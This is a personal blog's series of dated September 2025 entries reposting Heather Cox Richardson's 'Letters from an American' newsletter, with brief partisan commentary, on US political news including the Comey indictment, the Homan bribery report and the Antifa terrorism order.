    But the success of the indictment is not meant to be legal. It’s political — an attempt to muddy the reputation of ethical public servants who have stood in Mr. Trump’s way, to destroy their lives and careers with expensive legal bills, and to serve as a warning to anyone who might resist Mr. Trump’s attempts to secure authoritarian power in the future.

    It is, in that sense, about the most corrupt attack on the rule of law imaginable. This past week would have surely led to impeachment proceedings against any other U.S. president. That Mr. Trump is likely to plow forward should chill every American.

  • 26 September, 2025

    “My family and I have known for years that there are costs to standing up to Donald Trump,” Comey said tonight in a video. “But we…will not live on our knees, and you shouldn’t either. Somebody that I love dearly recently said that fear is the tool of a tyrant, and she’s right, but I’m not afraid, and I hope you’re not either. I hope instead you are engaged, you are paying attention, and you will vote like your beloved country depends upon it, which it does. My heart is broken for the Department of Justice, but I have great confidence in the federal judicial system. I’m innocent. So let’s have a trial and keep the faith.”

    That quote found within Heather Cox Richardson’s Letters from an American newsletter this morning. These are the most frightening of days, as this clown car of an administration reveals, every day, more malice, and its motivation to exact revenge rather that to improve the country and the world. The full newsletter follows:

    Today, with the popularity of President Donald J. Trump and his administration dropping, Trump’s disastrous performance at the United Nations, the return of comedian Jimmy Kimmel to the airwaves, and the Tuesday’s election in Arizona of Democratic representative Adelita Grijalva, who will provide the final signature on a discharge petition to demand a floor vote in the House over releasing all the government files on convicted child sex offender Jeffrey Epstein, the administration appears to be making a dramatic push to seize complete control of the government.

    Last night, Office of Management and Budget director Russell Vought tried to jam the Democrats into passing the Republicans’ continuing resolution to fund the government. Officials leaked a memo to Politico, Punchbowl News, and Axios—publications that focus on events concerning Capitol Hill—saying that if the Democrats refuse to pass the Republicans’ measure, the administration will try to fire, rather than furlough, large numbers of federal employees.

    Such a move would be challenged in the courts, and the government has been forced to rehire many of the people it forced out earlier this year after those firings left agencies badly understaffed. But the threat is not idle; Vought is a Christian nationalist who has called for a “radical Constitutionalism” that demolishes the modern American state and replaces it with a powerful executive.

    House minority leader Hakeem Jeffries (D-NY) responded: “Listen Russ, you are a malignant political hack. We will not be intimidated by your threat to engage in mass firings. Get lost.” Senate minority leader Chuck Schumer (D-NY) said in a statement: “Donald Trump has been firing federal workers since day one—not to govern, but to scare. This is nothing new and has nothing to do with funding the government. These unnecessary firings will either be overturned in court or the administration will end up hiring the workers back, just like they did as recently as today.”

    Trump appears focused on September 30, when the government funding crisis will hit, and the days after it. Although courts have ruled that he does not have the power to impose tariffs willy-nilly, today Trump announced new tariffs of 100% on pharmaceuticals, 50% on kitchen and bathroom cabinets, 30% on upholstered furniture, and 25% on “Heavy (Big!) Trucks” beginning on October 1. On social media, he claimed such tariffs were necessary “for National Security and other reasons.”

    Today, James LaPorta of CBS News reported that the National Archives and Records Administration improperly released Democratic representative Mikie Sherrill’s full military records to an ally of her Republican opponent, Jack Ciattarelli, in the New Jersey governor’s race. The two candidates are tied, and Ciattarelli appears to be trying to link Sherrill to the 1994 Naval Academy cheating scandal involving more than 100 midshipmen.

    Sherrill had an unblemished career in the Navy and as a midshipman, LaPorta notes. She did not turn in her cheating classmates, but she was never accused of cheating herself. The unredacted release of Sherrill’s records appears to violate the 1974 Privacy Act. Sherrill said: “That Jack Ciattarelli and the Trump administration are illegally weaponizing my records for political gain is a violation of anyone who has ever served our country. No veteran’s record is safe.”

    While the National Archives maintained the release was a mistake and apologized for it, the administration’s influence in the Department of Justice tonight could not be explained away.

    Days after Trump demanded that the Department of Justice move “now” to prosecute those he perceives to be his enemies, a federal grand jury has indicted former FBI director James Comey for allegedly lying to Congress and obstructing an investigation. Comey was an early casualty of Trump’s first administration, fired after he refused to kill the FBI investigation of the ties between Trump’s 2016 campaign and Russian operatives.

    Over last weekend, Trump exploded at then–acting U.S. attorney for the Eastern District of Virginia Erik Siebert, a career prosecutor, after Siebert concluded there was not enough evidence of a crime to charge Comey for allegedly lying to Congress or New York attorney general Letitia James for alleged mortgage fraud.

    On Monday Trump replaced Siebert with White House aide and Trump’s former personal lawyer Lindsey Halligan, and yesterday three sources told Ken Dilanian and Carol Leonnig of MSNBC that they expected Halligan to try to get a grand jury to indict Comey before the five-year statute of limitations on lying to Congress runs out next Tuesday.

    Tonight the DOJ delivered an indictment against Comey.

    “My family and I have known for years that there are costs to standing up to Donald Trump,” Comey said tonight in a video. “But we…will not live on our knees, and you shouldn’t either. Somebody that I love dearly recently said that fear is the tool of a tyrant, and she’s right, but I’m not afraid, and I hope you’re not either. I hope instead you are engaged, you are paying attention, and you will vote like your beloved country depends upon it, which it does. My heart is broken for the Department of Justice, but I have great confidence in the federal judicial system. I’m innocent. So let’s have a trial and keep the faith.”

    The DOJ was busy today. It also sued six states—California, Michigan, Minnesota, New York, New Hampshire, and Pennsylvania—to force them to hand over their voter rolls and information identifying those voters. Matt Cohen of Democracy Docket notes that state officials from both Democratic and Republican governments have questioned why the government wants that information. This lawsuit comes after a nearly identical lawsuit the DOJ filed last week against Maine and Oregon.

    Democratic secretary of state Tobias Read of Oregon called the lawsuits an attempt by President Donald Trump “to use the DOJ to go after his political opponents and undermine our elections.”

    Tara Copp, Dan Lamothe, Alex Horton, Ellen Nakashima, and Noah Robertson of the Washington Post reported today that Defense Secretary Pete Hegseth has ordered about 800 of the military’s top generals and admirals, along with their senior enlisted advisors, to come to the Marine Corps base in Quantico, Virginia, next week. Such a demand is highly unusual, and no one knows why Hegseth has made it.

    In The Bulwark, Mark Hertling, who was commander of U.S. Army Europe from 2011 to 2012, noted that the demand “is baffling and the cost will be staggering.” Instead of using the Pentagon’s secure video teleconferencing system, the personnel will require flights and accommodations that will cost millions, while the lost focus and readiness will affect their mission.

    Hertling points out that “[a]dversaries and allies are watching. This sudden, global, emergency recall of America’s top brass is a flashing red light to them: Something must be wrong inside the Pentagon.”

    Both Trump and Vice President J.D. Vance tried to downplay the meeting. “Why is that such a big deal?” Trump asked reporters. Vance incorrectly said the meeting is “not particularly unusual,” and said: “I think it’s odd that you guys have made it into such a big story.”

    This evening, Trump signed a memorandum targeting activists and nonprofits as part of what he called a “terror network” that he claims is fueling violence, especially against Immigration and Customs Enforcement (ICE) agents. He and his allies claim that “radical left Democrats,” or “Radical Left Terrorists,” are behind that violence, although, as scholar of authoritarianism Timothy Snyder notes, the majority of political violence in the U.S. comes from the right. 

    “Titled “Countering Domestic Terrorism and Organized Political Violence,” the memo alleges that “common threads animating this violent conduct include anti-Americanism, anti-capitalism, and anti-Christianity; support for the overthrow of the United States Government; extremism on migration, race, and gender; and hostility towards those who hold traditional American views on family, religion, and morality.”

    The document gives law enforcement wide latitude to “investigate, prosecute, and disrupt entities and individuals” engaged in behavior the administration opposes, as well as nonprofit organizations that fund them. It also orders law enforcement to “question and interrogate” people “regarding the entity or individual organizing such actions and any related financial sponsorship of those actions prior to adjudication or initiation of a plea agreement.”

    Former federal prosecutor Daniel Richman, who teaches at Columbia Law School, told Robert Tait and Aram Roston of The Guardian that an executive order cannot create new crimes, and Timothy Snyder noted that the memo nonetheless “undoes the basic tradition of American liberty and law, which is…that we are individuals to be judged on the basis of what we do as such. This memo, quite to the contrary, begins from the premise that the world is governed by mysterious, invisible entities to which individuals can be arbitrarily associated by the power of the government, thereby making those individuals guilty and subject to prosecution and punishment.” It makes responsibility collective, thus enabling the government to target everybody. “The groups that will…be targeted will be groups that are concerned with things like counting the votes, human rights, freedom of speech, and the rule of law.”

    All this, said Snyder, is both a “big lie” and a cliché. Authoritarians always say the country is facing an emergency and that their opponents are “terrorists.” It’s a cliché to say “there’s a mysterious, bottomless, organization that we have to chase to the ends of the Earth and break all the rules to find. That’s what they always say.”

    Snyder noted that Congress can pass laws to rule such behavior illegal, courts can find actions illegal and protect victims, commentators can describe reality, and citizens can say they “don’t want to be subject to an imagined emergency based on a big lie that does away with the essence of American liberty and law.” He concluded: “This has been done before. It can be stopped.”

    —

    Notes:

    https://www.npr.org/2025/09/24/nx-s1-5551198/democrat-wins-congressional-seat-in-arizona-narrowing-gops-slim-house-majority

    https://thehill.com/homenews/house/5520512-massie-grijalva-epstein-petition

    https://www.cbsnews.com/news/national-archives-mikie-sherrill-military-record-jack-ciattarelli

    https://abcnews.go.com/US/former-fbi-director-james-comey-indicted-days-after/story?id=125935658

    https://www.theguardian.com/us-news/2025/sep/25/trump-presidential-memorandum-political-violence

    https://www.whitehouse.gov/presidential-actions/2025/09/enforcing-the-death-penalty-laws-in-the-district-of-columbia-to-deter-and-punish-the-most-heinous-crimes

  • 23 September, 2025

    More dystopian absurdity from the clown car in D.C.
    Today’s summary from Heather Cox Richardson’s Letters from an American:

    Conservative writer Bill Kristol took to social media today to say: “So many coverups. Release the Epstein files. Release the Homan tapes. Release the Venezuelan fishing boats evidence.”

    Kristol was referring to three stories about which members of the administration seem to be hiding things that don’t fit their narrative.

    The Republican-dominated House Oversight Committee has been slow to release records related to the investigation of convicted sex offender Jeffrey Epstein although interest in them is high—not least because reports that the records mention President Donald Trump seem confirmed by Federal Bureau of Investigation director Kash Patel’s refusal to answer questions from Democrats on the House Judiciary Committee about his appearance in them. Last week, Republicans on the House Judiciary Committee voted not to subpoena the chief executive officers of JPMorgan Chase, Bank of New York Mellon, Bank of America, and Deutsche Bank for testimony and records for about $1.5 billion in transactions related to Epstein’s crimes.

    Today, Dan Ruetenik, Cara Tabachnick, and Graham Kates of CBS News reported that they have obtained documents about the events of July 23, 2019, 18 days before Epstein’s death, when he was found unresponsive in his cell. Those documents add detail to the story already reported, in which upon regaining consciousness, Epstein first suggested he had been attacked by his cellmate but later said he couldn’t remember what had happened. As is the case with Epstein’s death, because of either human error or the faulty video system, there is no recording of the incident.

    In the United Kingdom, seven charities have cut ties with Sarah Ferguson, Prince Andrew’s ex-wife, after newspapers yesterday published an email Ferguson sent to Epstein in 2011, several years after he had pleaded guilty to soliciting prostitution with a minor, appearing to apologize for her public criticism of him.

    In response to this weekend’s story that the FBI recorded a video in 2024 of Tom Homan, who is now Trump’s border czar, accepting $50,000 in exchange for promising to steer government contracts for border security toward the men offering the money, the White House now says that Homan didn’t take the cash. As Ken Dilanian and Carol Leonnig of MSNBC note, that’s not what they said when the reporters first asked them about it on Saturday. Dilanian and Leonnig add: “Multiple people familiar with the case say he did accept the money, as does an internal government document reviewed by MSNBC.”

    National security analyst Juliette Kayyem noted that “ICE contracts are going to unknown construction companies and days old consulting firms.” Democracy Forward has filed a Freedom of Information Act request, asking the FBI and the Justice Department to release the recording of Homan accepting the $50,000.

    Kristol’s reference to Venezuelan fishing boats relates to the administration’s deadly strikes against several Venezuelan boats the administration insists were smuggling drugs to the United States. The administration has shown no evidence supporting its claim to lawmakers or to the public, and legal experts warn that the strikes may be illegal.

    The administration is using the power of the U.S. government to advance a right-wing project in other South American countries as well, using the economic power of the U.S. to support Trump’s allies in Brazil and Argentina. Trump has imposed a 50% tariff on goods from Brazil, claiming that Brazil engages in unfair trade practices and that the government is engaged in a “witch hunt” against Trump’s ally former president Jair Bolsonaro.

    Bolsonaro was convicted this month of attempting a coup against Brazil’s government when voters turned him out of office. He has been sentenced to more than 27 years in prison. In addition to the heavy U.S. tariffs, the Treasury Department announced today that it was sanctioning the wife of the Brazilian Supreme Court justice who oversaw the prosecution of Bolsonaro. The Brazilian government called the U.S. move “a new attempt of undue interference in Brazilian internal affairs.”

    Treasury Secretary Scott Bessent announced on social media today, fifteen minutes before Argentina’s foreign-exhange markets opened, that the U.S. will consider “all options” for stabilizing the economy of Argentina, whose right-wing president, Javier Milei, is a Trump ally. Milei’s approach to slashing government was a model for Trump and billionaire Elon Musk, but with elections coming up next month, voters are souring on his austerity measures, inflation, and the weakening currency. Bessent wrote that “Argentina is a systemically important U.S. ally.” The Economist explained more bluntly: “Scott Bessent says Uncle Sam is underwriting Mr Milei’s laboratory.”

    At home, Trump signed an executive order today designating “Antifa” as a “domestic terrorist organization.” Although the director of the FBI during Trump’s first term, Christopher Wray, explained that antifa, which is short for “antifascist,” is an ideology and not an organization, the executive order says antifa is “a militarist, anarchist enterprise that explicitly calls for the overthrow of the United States Government, law enforcement authorities, and our system of law. It uses illegal means to organize and execute a campaign of violence and terrorism nationwide to accomplish these goals.”

    The order goes on to say that this “campaign involves coordinated efforts to obstruct enforcement of Federal laws through armed standoffs with law enforcement, organized riots, violent assaults on Immigration and Customs Enforcement and other law enforcement officers, and routine doxing of and other threats against political figures and activists.”

    The order calls for all government agencies to “investigate, disrupt, and dismantle any and all illegal operations…conducted by Antifa.” Constitutional law scholar Evan Bernick noted that the point of the order was “to assert that something exists which does not exist and to make people think it (1) exists and (2) is bad.” Immigration expert Aaron Reichlin-Melnick added: “It’s a directive to the Executive Branch about what to focus…resources on.”

    Today, Trump announced that the U.S. Food and Drug Administration will be notifying doctors that if pregnant women take acetaminophen, a brand name of which is Tylenol, their baby faces a “very increased risk of autism.” This statement flies in the face of decades of evidence that, used according to directions, acetaminophen is safe during pregnancy and can be important for relieving fever and pain.

    In his remarks, Trump appeared to have difficulty pronouncing the word “acetaminophen,” so used the brand name “Tylenol.” Although he is not a doctor, the president offered a range of medical advice. He echoed the opinions of Secretary of Health and Human Services Robert F. Kennedy Jr. of the dangers of vaccines, although vaccines save lives and extensive research has shown no link between vaccines and autism. Trump said: “We understood a lot more than a lot of people who studied it.”

    But there seemed to be a new tone coming from media outlets covering the president today. The Associated Press posted on social media: “BREAKING: President Trump promotes unproven ties between Tylenol, vaccines and autism without new evidence.” The New York Times posted: “Unproven Medical Advice[:] In a rambling news briefing, president Trump promoted unproven ties between vaccines, autism and Tylenol use by pregnant women and babies.”

    There is another sign today that Trump and his loyalists have outkicked their coverage as they try to consolidate power.

    In Strength in Numbers, G. Elliott Morris noted that as measured by internet searches for “Cancel Disney+,” the boycott against Disney, the parent company of ABC, is now four times as large as any similar search of a boycott over the past five years. Since ABC suspended comedian Jimmy Kimmel’s show—allegedly for his comments about MAGA Republicans’ search for someone to blame, although he frequently skewers Trump and the administration—Disney’s stock has dropped 2% although the market in general is up nearly 1%.

    Morris observes that “a lot of powerful people just don’t realize how unpopular Trump is.” He explains that while polls show Trump is deeply unpopular, many people confuse voters with consumers. That is, while polls frequently measure how voters feel about the president, only about 64.1% of American adults eligible to vote went to the polls in 2024. Figuring that number into Trump’s popularity shows that only about 32% of American adults voted for Trump in 2024, while 53% of adults currently disapprove of his performance in the White House, with 48% strongly opposed. So businesses that decide to try to appease Trump voters are making poor business decisions.

    That has shown in the backlash over the suspension of Jimmy Kimmel’s show, which is widely seen as an attack on the freedom of speech protected by the First Amendment to the Constitution. As Robert Reich noted in his Substack publication, “the blowback against Disney” for Kimmel’s suspension “has been hurricane level.” It was so intense that Federal Communications Commission chair Brendan Carr, who had threatened that ABC must suspend Kimmel or lose its broadcast license, began to deny he had had anything to do with the suspension and say that ABC had removed Kimmel for business reasons.

    Today Disney issued a statement saying, “Last Wednesday, we made the decision to suspend production on the show to avoid further inflaming a tense situation at an emotional moment for our country. It is a decision we made because we felt some of the comments were ill-timed and thus insensitive.” It went on: “We have spent the last days having thoughtful conversations with Jimmy, and after those conversations, we reached the decision to return the show on Tuesday.”

    So, after public outcry, Kimmel’s show is back on the air. But right-wing media company Sinclair, which operates more than 35 ABC stations across the country, says it will not restore Kimmel’s show to the airwaves it controls. It announced it will preempt Jimmy Kimmel Live! with news programming.

    —

    Notes:

    https://www.nbcnewyork.com/news/local/jeffrey-epstein-found-injured-in-nyc-jail-cell-after-possible-suicide-attempt-or-assault-sources/1521943

    https://www.cbsnews.com/news/jeffrey-epstein-claimed-cellmate-tried-to-kill-him

    https://www.npr.org/2025/07/25/nx-s1-5478620/jeffrey-epstein-crimes-timeline-legal-case

    https://www.msnbc.com/msnbc/white-house-now-denies-tom-homan-took-50000-cash-rcna233008

    https://www.bbc.com/news/articles/cddmr6v0jpzo

    https://time.com/7316695/how-brazil-convicted-jair-bolsonaro

    https://www.reuters.com/world/americas/brazil-starts-formal-process-assess-us-tariff-retaliation-2025-08-28

    https://www.politico.com/news/2025/09/22/bolsonaro-prosecution-us-sanctions-00575122

    https://www.economist.com/the-americas/2025/09/22/argentinas-finances-just-got-even-more-surreal

    https://www.reuters.com/world/americas/us-treasury-chief-us-ready-support-argentina-leaders-meet-tuesday-2025-09-22

    https://www.whitehouse.gov/presidential-actions/2025/09/designating-antifa-as-a-domestic-terrorist-organization

    https://www.thetimes.com/world/latin-america/article/javier-milei-argentina-peronists-news-c7mkt66b9

    https://www.cnn.com/2025/09/22/health/trump-autism-announcement-cause-tylenol

  • 22 September, 2025

    From Heather Cox Richardson’s Letters from an American:

    On Friday the Bureau of Labor Statistics postponed the release of the annual report on consumer expenditures—a key report for understanding inflation—without explanation. The BLS has been under stress since President Donald J. Trump fired its head, Commissioner Erika McEntarfer, after the July jobs report showed far weaker hiring statistics than expected as well as a downgrade for previous months. Officials at the BLS said the new report will be “rescheduled to a later date.”

    This weekend, Dan Frosch, Patrick Thomas, and Andrea Peterson of the Wall Street Journal reported that the U.S. Department of Agriculture is ending its annual report on household food security. Those reports began in the 1990s to help state and local officials distribute food assistance. Last year’s report found that 18 million U.S. households experienced food insecurity during 2023. In a statement, the Department of Agriculture said: “These redundant, costly, politicized and extraneous studies do nothing more than fearmonger.”

    Colleen Hefflin, an expert on food insecurity, nutrition, and welfare policy at Syracuse University, told the Wall Street Journal reporters: “Not having this measure for 2025 is particularly troubling given the current rise in inflation and deterioration of labor market conditions, two conditions known to increase food insecurity.” Whitney Curry Wimbish of The American Prospect reported last week that food banks across the country are seeing more visits even as immigrants are staying away from them out of concern that their information might be shared or that Immigration and Customs Enforcement might show up.

    Nutrition scholar Lindsey Smith Taillie of the University of North Carolina Gillings School of Global Public Health told the reporters: “I think the only reason why you wouldn’t measure it is if you were planning to cut food assistance, because it basically allows you to pretend like we don’t have this food insecurity problem.” The budget reconciliation law the Republicans passed in July cuts funding to the Supplemental Nutrition Assistance Program (SNAP) by about 20%, or $186 billion through 2034, the largest cuts to SNAP in its history.

    This news got less attention last week than the administration’s apparent determination to silence its critics. Although, as Jim Rutenberg of the New York Times pointed out on Thursday, Trump promised in his second inaugural address to “immediately stop all government censorship and bring back free speech to America,” what he appeared to mean was that he intended to free up right-wing activists to spread disinformation about elections and Covid-19.

    Now, in the wake of the murder of right-wing influencer Charlie Kirk, as Peter Baker pointed out today in the New York Times, the administration has cracked down on the media and political opponents under the guise of tamping down words that could cause political violence. But, as Baker notes, Trump is making it clear that he is trying to stop speech that criticizes him and his administration. Last week alone, he called for people who yelled at him in a restaurant to be prosecuted and for comedians who made fun of him to be taken off the air, and he sued the New York Times.

    On Friday, Trump told reporters in the Oval Office that covering the administration negatively is “really illegal.” He went on: “Personally, you can’t take, you can’t have a free airwave if you’re getting free airwaves from the United States government.” As Baker notes, Trump’s chair of the Federal Communications Commission, Brendan Carr, who wrote the chapter of Project 2025 that covers the FCC, has complained that many broadcasters have a liberal bias and that they do not serve the public interest as the FCC requires.

    That attempt to control information is showing clearly at the Pentagon. In February, Defense Secretary Pete Hegseth threw out long-standing media outlets who had been covering the Pentagon, including NPR, the New York Times, and NBC News, and brought in right-wing outlets including Newsmax and Breitbart. On Friday the Pentagon said it would revoke press credentials for any journalists who gather information, even unclassified information, that the Pentagon has not expressly authorized for release. Hegseth has been on a crusade to figure out who is leaking negative stories about him and defense issues under his direction, and he seems to have decided to try to stop their publication rather than the leaks themselves.

    Although Pentagon spokesperson Sean Parnell called the changes “basic, common-sense guidelines to protect sensitive information as well as the protection of national security and the safety of all who work at the Pentagon,” Washington Post reporter Scott Nover noted that this position is a “sharp departure” from decades of practice. Until this year, the Pentagon held two televised question and answer sessions a week (and, in my observation, the journalists who covered the Pentagon were excellent).

    The National Press Club also weighed in on Friday’s changes. “If the news about our military must first be approved by the government, then the public is no longer getting independent reporting,” said club president Mike Balsamo. “It is getting only what officials want them to see. That should alarm every American.”

    On Friday the Pentagon referred to the White House questions about a strike on a third Venezuelan boat that Trump announced on social media. “On my orders, the Secretary of War ordered a lethal kinetic strike on a vessel affiliated with a Designated Terrorist Organization conducting narcotrafficking in the USSOUTHCOM area of responsibility,” Trump posted. Trump said three men, whom he called “narcoterrorists,” were killed. He said the military showed him proof that the men in the boats were smuggling drugs, but he has not shared that evidence with lawmakers or the public.

    As Lara Seligman reported in the Wall Street Journal on September 17, military lawyers and officials from the Defense Department are concerned that decision makers in the Pentagon are ignoring their warnings that the administration’s strikes on the vessels Trump claims are bringing drugs to the U.S. are illegal.

    David Ignatius of the Washington Post recalls that when he took office, Hegseth purged from the military the judge advocate generals, who are supposed to advise leaders on the rule of law and whether orders are legal. In February, calling the top lawyers in the Army, Navy, and Air Force “roadblocks to orders that are given by a commander in chief,” he fired them. Earlier this month, he announced he was moving as many as 600 JAG officers to serve as immigration judges.

    Also on Friday, Trump announced that companies employing skilled workers who hold temporary H-1B visas would have to pay a $100,000 fee for their entry into the U.S. beginning Sunday. This set off a mad scramble as workers outside the country on business trips, vacations, or family visits rushed to get back into the U.S. before the new rule took effect. Not until Saturday did the administration clarify the new rule does not affect those who already hold visas.

    Friday was a busy day. Trump also told reporters in the Oval Office that he wanted the interim U.S. attorney for the Eastern District of Virginia, Erik Siebert, “out” after Siebert declined to prosecute New York Attorney General Letitia James, who successfully sued the Trump Organization for fraud, for allegedly committing mortgage fraud. Siebert also declined to prosecute former FBI director James Comey, who refused to kill the investigation into the relationship between members of the 2016 Trump campaign and Russian operatives, for allegedly lying to Congress.

    Siebert was Trump’s own pick for the job and is a well-regarded career prosecutor. As legal analyst Joyce White Vance noted in Civil Discourse, Siebert managed to win the support of both the Virginia Republican Party and the senators from Virginia, both of whom are Democrats. His refusal to prosecute indicates there was not enough evidence to convict a defendant; Vance notes that’s the standard a prosecutor must meet to seek an indictment.

    On Friday night, Seibert resigned.

    On Saturday morning, Trump posted on social media: “He didn’t quit, I fired him!” In the evening, he posted on social media a missive that appeared to be intended as a direct message (DM) to Attorney General Pam Bondi. It read: “Pam: I have reviewed over 30 statements and posts saying that, essentially ‘same old story as last time, all talk, no action. Nothing is being done. What about Comey, Adam ‘Shifty’ Schiff, Leticia??? They’re all guilty as hell, but nothing is going to be done.’… We can’t delay any longer, it’s killing our reputation and credibility. They impeached me twice, and indicted me (5 times!), OVER NOTHING. JUSTICE MUST BE SERVED, NOW!!! President DJT.”

    In other words, Trump wants to use the power of the government to punish those he considers his enemies. As Joyce White Vance puts it: “[L]et’s be clear about what Trump wants. He wants to turn us into a banana republic where the ability to prosecute people becomes a political tool in the hands of the president. That means he wants to exercise the ultimate power to put down any opposition to his rule.” She recalled the comment attributed to Lavrentiy Beria, head of the Soviet secret police under Stalin: “Show me the man and I’ll find the crime.”

    A report from Carol Leonnig and Ken Dilanian of MSNBC yesterday showed what a politicized justice system looks like. They reported that FBI agents last year caught Tom Homan—now Trump’s “border czar”—on video accepting $50,000 in cash from agents posing as business executives after he promised he could help them win government contracts for border enforcement in a second Trump administration. The FBI had opened an investigation after someone told them Homan was soliciting payments in exchange for contracts under a future Trump administration.

    After obtaining the evidence, the FBI and the Justice Department waited to see whether Homan would provide the aid he offered once he joined the new administration. But the case stalled as soon as Trump took office, and after FBI director Kash Patel recently asked for a status update on the case, Trump appointees officially closed the investigation.

    The reporters say that when asked about it, the White House, the Justice Department, and the FBI all dismissed the investigation as politically motivated and baseless.

    While Trump tries to silence his critics, Russia is taking advantage of U.S. inaction to test the North Atlantic Treaty Organization. On Friday, three Russian jets entered the airspace of Estonia. Italian fighters stationed in Estonia as part of NATO’s new Eastern Sentry operation responded and forced the Russian jets out. As Poland did last week after Russian drones and jets entered its airspace, Estonian officials requested consultations with the North Atlantic Council under Article 4 of NATO’s treaty.

    High Representative of the European Union for Foreign Affairs and Security Policy, Kaja Kallas, who hails from Estonia, called Russia’s incursions over Estonia an “extremely dangerous provocation.”

    —

    Notes:

    https://www.bbc.com/news/articles/cvg3xrrzdr0o

    https://www.axios.com/2025/09/19/bls-cpi-report-inflation

    https://www.washingtonpost.com/nation/2025/09/21/trump-usda-hunger-report-food-insecurity

    https://www.wsj.com/economy/trump-administration-cancels-annual-hunger-survey-ca3d3793

    https://www.cnbc.com/2025/07/10/trumps-big-beautiful-bill-cuts-snap-for-millions-of-families.html

    https://www.dhs.gov/news/2025/09/17/dhs-calls-media-and-far-left-stop-demonization-president-trump-his-supporters-and

    https://www.nytimes.com/2025/09/18/business/media/trump-kimmel-cancel-culture-free-speech.html

    https://www.nytimes.com/2025/09/19/us/politics/trump-media-news-free-speech.html

    https://www.nytimes.com/2025/09/21/us/politics/trump-free-speech.html

    https://www.washingtonpost.com/business/2025/09/19/pentagon-hegseth-press-unauthorized-material

    https://www.wsj.com/politics/national-security/pentagon-lawyers-raise-concerns-over-trumps-drug-boat-strikes-b8327a5c

    https://www.washingtonpost.com/opinions/2025/09/19/hegseth-national-guard-military-lawyer-purge

    https://abcnews.go.com/International/3-killed-3rd-us-strike-alleged-drug-boat/story?id=125757014

    https://www.pbs.org/newshour/world/u-s-carried-out-3rd-fatal-strike-on-alleged-drug-smuggling-boat-in-the-caribbean-trump-says

    https://www.whitehouse.gov/presidential-actions/2025/09/restriction-on-entry-of-certain-nonimmigrant-workers

    https://www.nbcnews.com/politics/trump-administration/trump-raises-fee-h-1b-visas-100000-rcna232525

    https://www.nbcnews.com/world/asia/trump-h1b-visa-fee-travel-tech-workers-india-china-immigration-rcna232695

    https://prospect.org/health/2025-09-17-more-americans-going-hungry-worst-still-to-come

    https://www.politico.com/news/2025/09/20/donald-trump-h1b-visas-overhaul-00574345

    https://abcnews.go.com/US/us-attorney-plans-resign-amid-pressure-trump-after/story?id=125750006

    https://abcnews.go.com/US/friend-former-fbi-director-james-comey-subpoenaed-federal/story?id=125666973